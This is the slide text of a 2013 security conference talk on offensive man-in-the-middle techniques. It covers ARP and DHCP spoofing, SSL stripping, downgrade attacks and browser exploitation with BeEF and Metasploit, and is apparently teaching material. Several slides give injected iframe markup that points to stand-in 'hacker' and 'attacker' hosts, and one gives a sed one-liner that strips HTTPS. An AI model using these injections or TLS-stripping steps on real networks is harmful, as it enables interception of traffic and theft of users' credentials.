+ All Categories
Home > Technology > Offensive MitM

Offensive MitM

Date post: 08-May-2015
Category:
Upload: navajanegra
View: 952 times
Download: 8 times
Share this document with a friend
44
Offensive Man-in-the-Middle Navaja Negra - Albacete Octubre 2013
Transcript
Page 1: Offensive MitM

Offensive Man-in-the-MiddleNavaja Negra - AlbaceteOctubre 2013

Page 2: Offensive MitM

Jose Selvi

10 years working in Security

Senior Penetration Tester at

SANS Institute Community Instructor

GIAC Security Expert (GSE)

Twitter: @JoseSelvi

Blog: http://www.pentester.es

$ whois jselvi

Page 3: Offensive MitM

Disclaimer!

No user was (very) harmed in the making of this speach

Page 4: Offensive MitM

Let’s Go!Man-in-the-Middle 101

The Passive approach

Downgrade Attacks

SSL Bypass

On-the-fly content injection

Cheating up users

Browser exploitation

Page 5: Offensive MitM

Man-in-the-Middle

Page 6: Offensive MitM

Man-in-the-Middle

Page 7: Offensive MitM

ARP Spoofing

I’M THE ROUTER!

WHO’S THE ROUTER?

Page 8: Offensive MitM

DHCP Spoofing

YOUR IP IS...

I WANT AN IP

Page 9: Offensive MitM

ICMP Redirect

A NEW ROUTEFOR YOU

Page 10: Offensive MitM

Much more...DNS Spoofing

Port Stealing

STP Mangling

Route Mangling

...

Even Social Engineering...

Page 11: Offensive MitM

Let’s Go!Man-in-the-Middle 101

The Passive approach

Downgrade Attacks

SSL Bypass

On-the-fly content injection

Cheating up users

Browser exploitation

Page 12: Offensive MitM

Just Sniffing...

Page 13: Offensive MitM

Automated Analysis

Page 14: Offensive MitM

Password Capture

Page 15: Offensive MitM

Let’s Go!Man-in-the-Middle 101

The Passive approach

Downgrade Attacks

SSL Bypass

On-the-fly content injection

Cheating up users

Browser exploitation

Page 16: Offensive MitM

Protocol Negotiation|@#|@#|@#|@#|#@

|@#|@#|@#|@# |@#|@#|#|#@|@#|@#|@#

Page 17: Offensive MitM

Downgrade Attack

Y dice “a relaxing cup of cafe con leche” la tia... Calla, calla... que yo les

he dejado dinero...

Page 18: Offensive MitM

Attacker

The SSHv1 Example

Client

OK, Let’s talk SSHv1

Server

I can speakv1 & v2

SSHv1

I can speakjust v1

Page 19: Offensive MitM

Let’s Go!Man-in-the-Middle 101

The Passive approach

Downgrade Attacks

SSL Bypass

On-the-fly content injection

Cheating up users

Browser exploitation

Page 20: Offensive MitM

Self-Signed Certificate

AttackerClient ServerHTTPS

HTTPS

Page 21: Offensive MitM

SSL Striphttp://www.thoughtcrime.org/software/sslstrip/

By Moxie Marlinspike

Transparent proxy

HTTP to HTTPS Gateway

sed ‘s/https/http/g’

Usually all starts with an HTTP connection

Page 22: Offensive MitM

SSL Strip

Attacker

Client Server

HTTP

HTTPS<body><img src=whatever.jpg><a href =</body>

https://myweb/login>

GET / HTTP/1.1

http://myweb/login>

Page 23: Offensive MitM

DEMO

Page 24: Offensive MitM

SSL VulnerabilitiesBEAST / CRIME

By Juliano Rizzo, Thai Duong

BREACH

By Angel Prado, Neal Harris, Yoel Gluck

Based on compression characteristics before encryption.

Chosen plaintext attack

It can decrypt secrets (cookie, csrf-token, etc).

Page 25: Offensive MitM

Let’s Go!Man-in-the-Middle 101

The Passive approach

Downgrade Attacks

SSL Bypass

On-the-fly content injection

Cheating up users

Browser exploitation

Page 26: Offensive MitM

Spanish model

Corp.C

Corp.A

Corp.B

Corp.D

Page 27: Offensive MitM

The “K” Factor<body><img src=whatever.jpg>

</body><iframe src=http://hacker/>

<body><img src=whatever.jpg>

</body><iframe src=http://hacker/>

Page 28: Offensive MitM

The Middlerhttps://code.google.com/p/middler/

By InGuardians

Transparent HTTP & SIP Proxy

Plugin based: Easy & Powerful

IFrame Injection

Last release from July 2009

Some fixes are needed...

but... that is why Python r00l3z :)

Page 29: Offensive MitM

The Middler Plugins

Page 30: Offensive MitM

Burp Suite / The Middler

Attacker

Client Server

HTTP

HTTP<body><img src=whatever.jpg>

</body><iframe src=http://hacker/>

GET / HTTP/1.1

Page 31: Offensive MitM

Burp Suitehttp://portswigger.net/burp/

By PortSwigger

General interception proxy

Support transparent proxy

Support match/replace function

Best option if you have the Pro version

If not... you will lose your configuration when closing

Page 32: Offensive MitM

Burp Suite

Page 33: Offensive MitM

DEMO

Page 34: Offensive MitM

Let’s Go!Man-in-the-Middle 101

The Passive approach

Downgrade Attacks

SSL Bypass

On-the-fly content injection

Cheating up users

Browser exploitation

Page 35: Offensive MitM

BeEF & Metasploit

BeEF: Browser Exploitation Framework

http://beefproject.com/

Metasploit Framework

http://www.metasploit.com/

Page 36: Offensive MitM

BeEF & MSF

GOOGLE BeEFMSF

VICTIM

<iframe src=http://attacker/demo

Page 37: Offensive MitM

What to doFingerprinting

Redirect to another page

Capture NTLM

SMB Relay Attacks

Credential Theft

Request software installation

Page 38: Offensive MitM

DEMO

Page 39: Offensive MitM

Let’s Go!Man-in-the-Middle 101

The Passive approach

Downgrade Attacks

SSL Bypass

On-the-fly content injection

Cheating up users

Browser exploitation

Page 41: Offensive MitM

Metasploit Exploitation

GOOGLE MSF

VICTIM

<iframe src=http://attacker/demo

Page 42: Offensive MitM

DEMO

Page 43: Offensive MitM

Let’s Go!Man-in-the-Middle 101

The Passive approach

Downgrade Attacks

SSL Bypass

On-the-fly content injection

Cheating up users

Browser exploitation


Recommended